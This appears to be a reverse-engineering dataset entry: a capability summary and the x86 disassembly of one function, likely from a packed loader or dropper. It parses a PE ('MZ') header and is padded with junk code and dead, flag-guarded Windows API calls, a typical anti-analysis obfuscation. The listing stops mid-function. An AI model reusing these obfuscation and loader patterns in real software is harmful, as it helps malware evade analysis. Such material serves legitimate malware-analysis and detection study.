Function at 0x42ab37
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Get disk information
Get thread local storage value
Identify system language via api
Parse pe header
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x934
push esi
mov dword [ebp - 0x118], 0xffffffff
mov dword [ebp - 0x5fc], 0x276b87d0
mov dword [ebp - 0x78c], 0xfffffff7
mov dword [ebp - 0x734], 0x6ce4a6f4
mov dword [ebp - 0x604], 0
mov dword [ebp - 0x73c], 0
mov dword [ebp - 0x744], 1
mov dword [ebp - 0x74c], 0xfffffff6
mov dword [ebp - 0x754], 0x99e885dc
push 1
lea ecx, [ebp - 0x844]
call fcn.0042f328
mov dword [ebp - 0x5ec], 0x28217c71
mov dword [ebp - 0x108], 0
jmp 0x42abcb
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 1
jge 0x42abed
push dword [ebp - 0x108]
lea ecx, [ebp - 0x844]
call fcn.0042f416
mov dword [eax], 0xfffffffe
jmp 0x42abbe
mov dword [ebp - 0x118], 0
jmp 0x42ac06
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xfffffff2
jge 0x42adb4
push 3
lea ecx, [ebp - 0x834]
call fcn.0042f328
mov dword [ebp - 0xf8], 0xe57bf5cd
mov dword [ebp - 0x618], 0x61ece305
mov dword [ebp - 0x7ac], 0x5b6d
mov dword [ebp - 0x1b0], 8
mov dword [ebp - 0x620], 0
mov dword [ebp - 0x70], 0
jmp 0x42ac62
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x42ac7e
push dword [ebp - 0x70]
lea ecx, [ebp - 0x834]
call fcn.0042f416
mov dword [eax], 0x3695
jmp 0x42ac5b
mov dword [ebp - 0x70], 0
jmp 0x42ac8e
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x42aca4
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x8ec], 3
jmp 0x42ac87
mov dword [ebp - 0xf8], 0
jmp 0x42acbd
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 2
jg 0x42ace9
mov byte [ebp - 0xc6], 0
movzx eax, byte [ebp - 0xc6]
test eax, eax
je 0x42ace7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
jmp 0x42acb0
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x578], eax
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x5e4], eax
mov eax, dword [ebp - 0x1b0]
dec eax
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x578]
cmp eax, dword [ebp - 0x5e4]
je 0x42ad28
mov dword [ebp - 0x3d8], 1
jmp 0x42ad2f
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x5ec]
cmp dword [ebp - 0x3d8], eax
jne 0x42ad49
mov dword [ebp - 0x528], 1
jmp 0x42ad50
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x5fc]
cmp eax, dword [ebp - 0x528]
jl 0x42ad6a
mov dword [ebp - 0x530], 1
jmp 0x42ad71
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x604]
add eax, dword [ebp - 0x618]
cmp dword [ebp - 0x530], eax
jge 0x42ad91
mov dword [ebp - 0x538], 1
jmp 0x42ad98
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x620], eax
lea ecx, [ebp - 0x834]
call fcn.0042f3fa
jmp 0x42abf9
mov byte [ebp - 0x94], 0
movzx eax, byte [ebp - 0x94]
test eax, eax
je 0x42add3
push 0xcdd
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea ecx, [ebp - 0x844]
call fcn.0042f3fa
and dword [ebp - 0x44], 0
mov dword [ebp - 0x540], 0xd9532bb1
mov dword [ebp - 0x1a0], 0
jmp 0x42ae05
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 2
jge 0x42ae21
mov eax, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0x560], 7
jmp 0x42adf8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x560]
mov dword [ebp - 0x7b4], eax
mov eax, 0x5425
test eax, eax
je 0x42ae69
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x560], 2
jle 0x42ae5d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x560], 0
je 0x42ae69
mov dword [ebp - 0x53c], 1
jmp 0x42ae70
and dword [ebp - 0x53c], 0
mov dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x540]
cmp eax, dword [ebp - 0x53c]
je 0x42ae94
mov dword [ebp - 0x21c], 1
jmp 0x42ae9b
and dword [ebp - 0x21c], 0
cmp dword [ebp - 0x21c], 0x8b9d
jg 0x42aeb3
mov dword [ebp - 0x4b4], 1
jmp 0x42aeba
and dword [ebp - 0x4b4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x4b4]
mov dword [ebp + eax - 0x560], ecx
mov byte [ebp - 0xc2], 0
movzx eax, byte [ebp - 0xc2]
test eax, eax
je 0x42aee7
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
lea ecx, [ebp - 0x854]
call fcn.0042f328
mov dword [ebp - 0x120], 1
mov dword [ebp - 0x638], 0x1c0f
mov dword [ebp - 0x628], 0xfff7
push 1
lea ecx, [ebp - 0x698]
call fcn.0042f328
mov dword [ebp - 0x4cc], 0xdffbe584
mov dword [ebp - 0x18], 0
jmp 0x42af39
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x42af55
push dword [ebp - 0x18]
lea ecx, [ebp - 0x854]
call fcn.0042f416
mov dword [eax], 8
jmp 0x42af32
mov dword [ebp - 0x18], 0
jmp 0x42af65
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x42af81
push dword [ebp - 0x18]
lea ecx, [ebp - 0x698]
call fcn.0042f416
mov dword [eax], 2
jmp 0x42af5e
mov dword [ebp - 0x18], 0
jmp 0x42af91
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x42afa7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x760], 0xfffffffb
jmp 0x42af8a
mov dword [ebp - 0x120], 0
jmp 0x42afc0
mov eax, dword [ebp - 0x120]
dec eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
jl 0x42b0e3
mov dword [ebp - 0x168], 0x4279
mov dword [ebp - 0x234], 3
cmp dword [ebp - 0x168], 0xfffd
jae 0x42aff9
mov dword [ebp - 0x22c], 1
jmp 0x42b000
and dword [ebp - 0x22c], 0
cmp dword [ebp - 0x628], 0x7b6fe6d3
je 0x42b018
mov dword [ebp - 0x224], 1
jmp 0x42b01f
and dword [ebp - 0x224], 0
push 0
lea ecx, [ebp - 0x698]
call fcn.0042f416
mov esi, dword [ebp - 0x224]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x698]
call fcn.0042f416
cmp esi, dword [eax]
jne 0x42b052
mov dword [ebp - 0x4bc], 1
jmp 0x42b059
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x4bc]
sub eax, dword [ebp - 0x168]
inc eax
inc eax
cmp eax, dword [ebp - 0x168]
jge 0x42b07b
mov dword [ebp - 0x4c4], 1
jmp 0x42b082
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x22c]
sub eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x234], eax
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x4cc], eax
mov eax, dword [ebp - 0x4cc]
cmp dword [ebp - 0x168], eax
jne 0x42b0ba
mov dword [ebp - 0x630], 1
jmp 0x42b0c1
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x7bc], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x760], 0xffffffff
jmp 0x42afb3
mov byte [ebp - 0x96], 0
movzx eax, byte [ebp - 0x96]
test eax, eax
je 0x42b0fd
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea ecx, [ebp - 0x698]
call fcn.0042f3fa
lea ecx, [ebp - 0x854]
call fcn.0042f3fa
mov dword [ebp - 0x104], 0xffff
mov dword [ebp - 4], 1
mov dword [ebp - 0xfc], 1
mov dword [ebp - 0x130], 0xfffffff8
mov dword [ebp - 0x188], 2
mov dword [ebp - 0x590], 0x3e2ca52c
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x7c4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x7cc], eax
mov eax, dword [ebp - 4]
cmp dword [ebp - 4], eax
jne 0x42b175
mov dword [ebp - 0x23c], 1
jmp 0x42b17c
and dword [ebp - 0x23c], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x23c]
jle 0x42b193
mov dword [ebp - 0x4d4], 1
jmp 0x42b19a
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x4d4]
jg 0x42b1b1
mov dword [ebp - 0x640], 1
jmp 0x42b1b8
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x7d4], eax
cmp dword [ebp - 0x104], 0
je 0x42b1e6
mov dword [ebp - 0x5dc], 0x4b03e386
mov dword [ebp - 0x5dc], 0
jmp 0x42b72e
mov dword [ebp - 0x128], 0xfff7
push 3
lea ecx, [ebp - 0x1fc]
call fcn.0042f328
mov dword [ebp - 0x58c], 0xc2df100
push 1
lea ecx, [ebp - 0x68c]
call fcn.0042f328
mov dword [ebp - 0x10], 0
jmp 0x42b224
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x42b240
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1fc]
call fcn.0042f416
mov dword [eax], 0xe2e16658
jmp 0x42b21d
mov dword [ebp - 0x10], 0
jmp 0x42b250
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jge 0x42b26c
push dword [ebp - 0x10]
lea ecx, [ebp - 0x68c]
call fcn.0042f416
mov dword [eax], 0xdaa9320a
jmp 0x42b249
mov dword [ebp - 0x10], 0
jmp 0x42b27c
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x42b292
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x76c], 0x9d3eafca
jmp 0x42b275
mov dword [ebp - 4], 0xffffffef
jmp 0x42b2a2
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1a
jne 0x42b4bb
mov dword [ebp - 0x6e4], 0xc5b1510a
mov dword [ebp - 0x6e0], 0xc5b1510a
mov dword [ebp - 0x6dc], 0xc5b1510a
mov dword [ebp - 0x6d8], 0xc5b1510a
lea ecx, [ebp - 0x1d9]
call fcn.0042f425
push eax
lea eax, [ebp - 0x6d4]
push eax
lea eax, [ebp - 0x6e4]
push eax
lea ecx, [ebp - 0x914]
call fcn.0042f428
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x864]
call fcn.0042f3d4
mov dword [ebp - 0xcc], 0x8e136dc9
mov dword [ebp - 0x5a4], 0xb11de2a9
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x128], 0x7bd55fd0
jg 0x42b341
mov dword [ebp - 0x244], 1
jmp 0x42b348
and dword [ebp - 0x244], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x244], eax
jle 0x42b362
mov dword [ebp - 0x4dc], 1
jmp 0x42b369
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x104]
imul eax, dword [ebp - 0x4dc]
cmp eax, dword [ebp - 0x5a4]
jle 0x42b38a
mov dword [ebp - 0x24c], 1
jmp 0x42b391
and dword [ebp - 0x24c], 0
push 0
lea ecx, [ebp - 0x864]
call fcn.0042f416
and dword [eax], 0
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0xcc], eax
xor eax, eax
sub eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 4]
imul ecx, dword [ebp - 0x24c]
cmp eax, ecx
je 0x42b3cf
mov dword [ebp - 0x4e4], 1
jmp 0x42b3d6
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x4e4]
je 0x42b3f0
mov dword [ebp - 0x254], 1
jmp 0x42b3f7
and dword [ebp - 0x254], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x254], eax
jne 0x42b411
mov dword [ebp - 0x4ec], 1
jmp 0x42b418
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0xfc], 0
jmp 0x42b43d
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 3
jg 0x42b4ab
mov byte [ebp - 0xbe], 0
movzx eax, byte [ebp - 0xbe]
test eax, eax
je 0x42b460
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 0xcc], 3
jmp 0x42b479
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jl 0x42b4a9
mov byte [ebp - 0x98], 0
movzx eax, byte [ebp - 0x98]
test eax, eax
je 0x42b49c
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 0x128], 0
je 0x42b4a7
jmp 0x42b46c
jmp 0x42b46c
jmp 0x42b430
lea ecx, [ebp - 0x864]
call fcn.0042f3fa
jmp 0x42b29b
mov dword [ebp - 4], 0
jmp 0x42b4cb
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jg 0x42b718
mov dword [ebp - 0x25c], 0x76568c07
push dword [ebp - 4]
lea ecx, [ebp - 0x1fc]
call fcn.0042f416
cmp dword [eax], 0
jne 0x42b638
push dword [ebp - 4]
lea ecx, [ebp - 0x1fc]
call fcn.0042f416
cmp dword [eax], 0
je 0x42b528
push dword [ebp - 4]
lea ecx, [ebp - 0x1fc]
call fcn.0042f416
cmp dword [eax], 0
je 0x42b528
mov dword [ebp - 0x584], 1
jmp 0x42b52f
and dword [ebp - 0x584], 0
push dword [ebp - 4]
lea ecx, [ebp - 0x1fc]
call fcn.0042f416
cmp dword [ebp - 4], 0xfffd
jbe 0x42b552
mov dword [ebp - 0x4f4], 1
jmp 0x42b559
and dword [ebp - 0x4f4], 0
mov dword [ebp - 0x25c], 0x3c535718
mov eax, dword [ebp - 0x25c]
cmp eax, dword [ebp - 0x4f4]
jle 0x42b583
cmp dword [ebp - 0x58c], 0
jne 0x42b583
and dword [ebp - 0x264], 0
jmp 0x42b58d
mov dword [ebp - 0x264], 1
mov esi, dword [ebp - 0x188]
push dword [ebp - 4]
lea ecx, [ebp - 0x1fc]
call fcn.0042f416
mov ecx, dword [ebp - 0x264]
add ecx, dword [eax]
imul esi, ecx
push 0
lea ecx, [ebp - 0x68c]
call fcn.0042f416
cmp esi, dword [eax]
jle 0x42b5c9
mov dword [ebp - 0x510], 1
jmp 0x42b5d0
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x188], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x188]
mov dword [ebp + eax - 0x76c], ecx
push dword [ebp - 4]
lea ecx, [ebp - 0x1fc]
call fcn.0042f416
mov ecx, dword [ebp - 0x130]
cmp dword [eax], ecx
jl 0x42b613
mov dword [ebp - 0x26c], 1
jmp 0x42b61a
and dword [ebp - 0x26c], 0
cmp dword [ebp - 0x26c], 0x8187147d
jb 0x42b638
cmp dword [ebp - 0x130], 0
jne 0x42b638
and dword [ebp - 0x518], 0
jmp 0x42b642
mov dword [ebp - 0x518], 1
push dword [ebp - 4]
lea ecx, [ebp - 0x1fc]
call fcn.0042f416
mov ecx, dword [ebp - 0x518]
cmp ecx, dword [eax]
jge 0x42b66f
cmp dword [ebp - 0x104], 0
je 0x42b66f
mov dword [ebp - 0x520], 1
jmp 0x42b676
and dword [ebp - 0x520], 0
cmp dword [ebp - 0x520], 0xda6a1e05
je 0x42b68e
mov dword [ebp - 0x1d8], 1
jmp 0x42b695
and dword [ebp - 0x1d8], 0
push 0
lea ecx, [ebp - 0x68c]
call fcn.0042f416
mov ecx, dword [ebp - 0x1d8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x590]
cmp dword [ebp - 0x1d8], eax
je 0x42b6cb
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x42b6cb
mov dword [ebp - 0x278], 1
jmp 0x42b6d2
and dword [ebp - 0x278], 0
push dword [ebp - 4]
lea ecx, [ebp - 0x1fc]
call fcn.0042f416
mov eax, dword [eax]
cmp eax, dword [ebp - 0x278]
je 0x42b6f6
mov dword [ebp - 0x3e8], 1
jmp 0x42b6fd
and dword [ebp - 0x3e8], 0
push dword [ebp - 4]
lea ecx, [ebp - 0x1fc]
call fcn.0042f416
mov ecx, dword [ebp - 0x3e8]
mov dword [eax], ecx
jmp 0x42b4c4
lea ecx, [ebp - 0x68c]
call fcn.0042f3fa
lea ecx, [ebp - 0x1fc]
call fcn.0042f3fa
mov dword [ebp - 0x28], 0x72d4ea68
mov dword [ebp - 0x88], 0x24b5e495
mov dword [ebp - 0x1ec], 0x296ad982
mov dword [ebp - 0x1c0], 1
push 1
lea ecx, [ebp - 0x6f0]
call fcn.0042f328
mov dword [ebp - 0xe0], 0xc0ac77ac
mov dword [ebp - 0x54], 0
jmp 0x42b77a
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x42b790
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x204], 1
jmp 0x42b773
mov dword [ebp - 0x54], 0
jmp 0x42b7a0
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 1
jge 0x42b7bc
push dword [ebp - 0x54]
lea ecx, [ebp - 0x6f0]
call fcn.0042f416
mov dword [eax], 0xd0519924
jmp 0x42b799
cmp dword [ebp - 0x28], 0
jne 0x42b8f1
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jl 0x42b7da
mov dword [ebp - 0x280], 1
jmp 0x42b7e1
and dword [ebp - 0x280], 0
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x280]
cmp dword [ebp - 0x28], eax
jg 0x42b7fc
mov dword [ebp - 0x4a0], 1
jmp 0x42b803
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x4a0]
test eax, eax
jne 0x42b823
or eax, 0xffffffff
jne 0x42b823
and dword [ebp - 0x288], 0
jmp 0x42b82d
mov dword [ebp - 0x288], 1
mov eax, dword [ebp - 0x288]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x28], eax
jg 0x42b84d
mov dword [ebp - 0x3f0], 1
jmp 0x42b854
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x3f0], eax
jg 0x42b872
xor eax, eax
je 0x42b872
mov dword [ebp - 0x290], 1
jmp 0x42b879
and dword [ebp - 0x290], 0
mov eax, dword [ebp - 0x290]
neg eax
add eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0x88]
jg 0x42b89b
mov dword [ebp - 0x4f8], 1
jmp 0x42b8a2
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x4f8], eax
jne 0x42b8bc
mov dword [ebp - 0x298], 1
jmp 0x42b8c3
and dword [ebp - 0x298], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x204]
cmp dword [ebp - 0x298], eax
jne 0x42b8f1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x204], 0
jne 0x42b8f1
and dword [ebp - 0x3f8], 0
jmp 0x42b8fb
mov dword [ebp - 0x3f8], 1
mov eax, dword [ebp - 0x88]
add eax, dword [ebp - 0x3f8]
jne 0x42b91d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x204], 0
je 0x42bc42
mov dword [ebp - 0x6d0], 0x63eeda78
mov dword [ebp - 0x6cc], 0x63eeda78
mov dword [ebp - 0x6c8], 0x63eeda78
mov dword [ebp - 0x6c4], 0x63eeda78
lea ecx, [ebp - 0x1a5]
call fcn.0042f425
push eax
lea eax, [ebp - 0x6c0]
push eax
lea eax, [ebp - 0x6d0]
push eax
lea ecx, [ebp - 0x904]
call fcn.0042f428
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x650]
call fcn.0042f3d4
mov dword [ebp - 0x1b8], 0x3c5a4a10
mov dword [ebp - 0xd4], 1
mov dword [ebp - 0x1e0], 0x600ac80e
mov dword [ebp - 0x598], 0
push 2
lea ecx, [ebp - 0x650]
call fcn.0042f416
mov dword [ebp - 0x2a0], eax
push 2
lea ecx, [ebp - 0x650]
call fcn.0042f416
mov ecx, dword [ebp - 0x2a0]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2a0]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
push 2
lea ecx, [ebp - 0x650]
call fcn.0042f416
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0
je 0x42ba0d
cmp dword [ebp - 0x1ec], 0
je 0x42ba0d
mov dword [ebp - 0x4a8], 1
jmp 0x42ba14
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0x28], eax
jg 0x42ba34
mov dword [ebp - 0x2a8], 1
jmp 0x42ba3b
and dword [ebp - 0x2a8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x204]
cmp dword [ebp - 0x2a8], eax
je 0x42ba5c
mov dword [ebp - 0x400], 1
jmp 0x42ba63
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x400]
sub eax, dword [ebp - 0x1ec]
cmp eax, 0xfffffffb
je 0x42ba80
mov dword [ebp - 0x2b0], 1
jmp 0x42ba87
and dword [ebp - 0x2b0], 0
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0x2b0], eax
jl 0x42baa1
mov dword [ebp - 0x508], 1
jmp 0x42baa8
and dword [ebp - 0x508], 0
mov esi, dword [ebp - 0x508]
sub esi, dword [ebp - 0x1ec]
push 2
lea ecx, [ebp - 0x650]
call fcn.0042f416
cmp esi, dword [eax]
jle 0x42bad1
mov dword [ebp - 0x2b8], 1
jmp 0x42bad8
and dword [ebp - 0x2b8], 0
mov eax, dword [ebp - 0x2b8]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x408], eax
push 0
lea ecx, [ebp - 0x6f0]
call fcn.0042f416
mov ecx, dword [ebp - 0x408]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x408], eax
jne 0x42bb1f
mov dword [ebp - 0x2c0], 1
jmp 0x42bb26
and dword [ebp - 0x2c0], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x2c0], eax
je 0x42bb40
mov dword [ebp - 0x4b0], 1
jmp 0x42bb47
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x4b0], eax
jle 0x42bb61
mov dword [ebp - 0x2c8], 1
jmp 0x42bb68
and dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x2c8]
sub eax, dword [ebp - 0x1c0]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0xd4], eax
je 0x42bb94
mov dword [ebp - 0x664], 1
jmp 0x42bb9b
and dword [ebp - 0x664], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x204]
mov dword [ebp - 0x7e4], eax
imul eax, dword [ebp - 0xd4], 0xef2
mov dword [ebp - 0x1e0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x204]
cmp dword [ebp - 0x1e0], eax
je 0x42bbdf
mov dword [ebp - 0x410], 1
jmp 0x42bbe6
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x598]
imul eax, dword [ebp - 0x410]
cmp eax, 0xaf7b
jge 0x42bc06
mov dword [ebp - 0x2d0], 1
jmp 0x42bc0d
and dword [ebp - 0x2d0], 0
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0xe0], eax
mov byte [ebp - 0xb6], 0
movzx eax, byte [ebp - 0xb6]
test eax, eax
je 0x42bc35
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x650]
call fcn.0042f3fa
jmp 0x42bc87
mov dword [ebp - 0x7ec], 0x47b1d005
mov dword [ebp - 0xe0], 0xfffffff4
jmp 0x42bc65
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0xffffffe2
jl 0x42bc87
mov dword [ebp - 0x504], 0xbd97
mov eax, dword [ebp - 0x504]
dec eax
mov dword [ebp - 0x504], eax
jmp 0x42bc58
lea ecx, [ebp - 0x6f0]
call fcn.0042f3fa
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x2d8], 0x94964a53
mov dword [ebp - 0x7f4], 0xfffffff7
mov dword [ebp - 0x7fc], 0x515466bc
mov dword [ebp - 0x804], 0xb6f9b691
mov dword [ebp - 0x600], 0
mov dword [ebp - 0x608], 0x3bd5de1f
mov dword [ebp - 0x80c], 0
mov dword [ebp - 0x5a8], 0x270f9e3
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x100], 8
mov dword [ebp - 0x814], 0xffffffff
mov dword [ebp - 0x634], 0xffffffff
mov dword [ebp - 0x5b0], 0
mov dword [ebp - 0x81c], 1
mov dword [ebp - 0x170], 0
jmp 0x42bd40
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 1
jge 0x42bd5c
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x2e0], 0x96711db6
jmp 0x42bd33
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x824], eax
or eax, 0xffffffff
je 0x42be3f
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x8b0], eax
cmp dword [ebp - 0x600], 0x522abf7c
je 0x42bd95
mov dword [ebp - 0x418], 1
jmp 0x42bd9c
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x418], eax
jg 0x42bdb6
mov dword [ebp - 0x2e8], 1
jmp 0x42bdbd
and dword [ebp - 0x2e8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2e0]
inc eax
mov dword [ebp - 0x4b8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4b8]
mov dword [ebp + eax - 0x2e0], ecx
mov eax, dword [ebp - 0x4b8]
cmp eax, dword [ebp - 0x2e8]
jle 0x42bdfe
mov dword [ebp - 0x5a0], 1
jmp 0x42be05
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x420]
mov dword [ebp - 0x8b8], eax
mov eax, dword [ebp - 0x100]
add eax, dword [ebp - 0x420]
add eax, dword [ebp - 0x634]
cmp eax, 0x14b81230
je 0x42be3f
cmp dword [ebp - 0x5a8], 0
je 0x42be3f
mov dword [ebp - 0x2f0], 1
jmp 0x42be46
and dword [ebp - 0x2f0], 0
mov eax, dword [ebp - 0x608]
cmp dword [ebp - 0x2f0], eax
jle 0x42be60
mov dword [ebp - 0x524], 1
jmp 0x42be67
and dword [ebp - 0x524], 0
cmp dword [ebp - 0x524], 0x6f62939c
je 0x42be7f
mov dword [ebp - 0x2f8], 1
jmp 0x42be86
and dword [ebp - 0x2f8], 0
mov eax, dword [ebp - 0x5b0]
cmp dword [ebp - 0x2f8], eax
je 0x42bea0
mov dword [ebp - 0x428], 1
jmp 0x42bea7
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x428], eax
jg 0x42bec1
mov dword [ebp - 0x300], 1
jmp 0x42bec8
and dword [ebp - 0x300], 0
imul eax, dword [ebp - 0x300], 0x2cd8
imul eax, dword [ebp - 0x100]
add eax, 0x31defcec
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x1bc]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x42c430
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x450], 1
mov dword [ebp - 0x1e8], 0x42fafece
mov dword [ebp - 0x350], 0x7b11082e
mov dword [ebp - 0x8c0], 0xfffffff6
mov dword [ebp - 0x5c], 0
jmp 0x42bf41
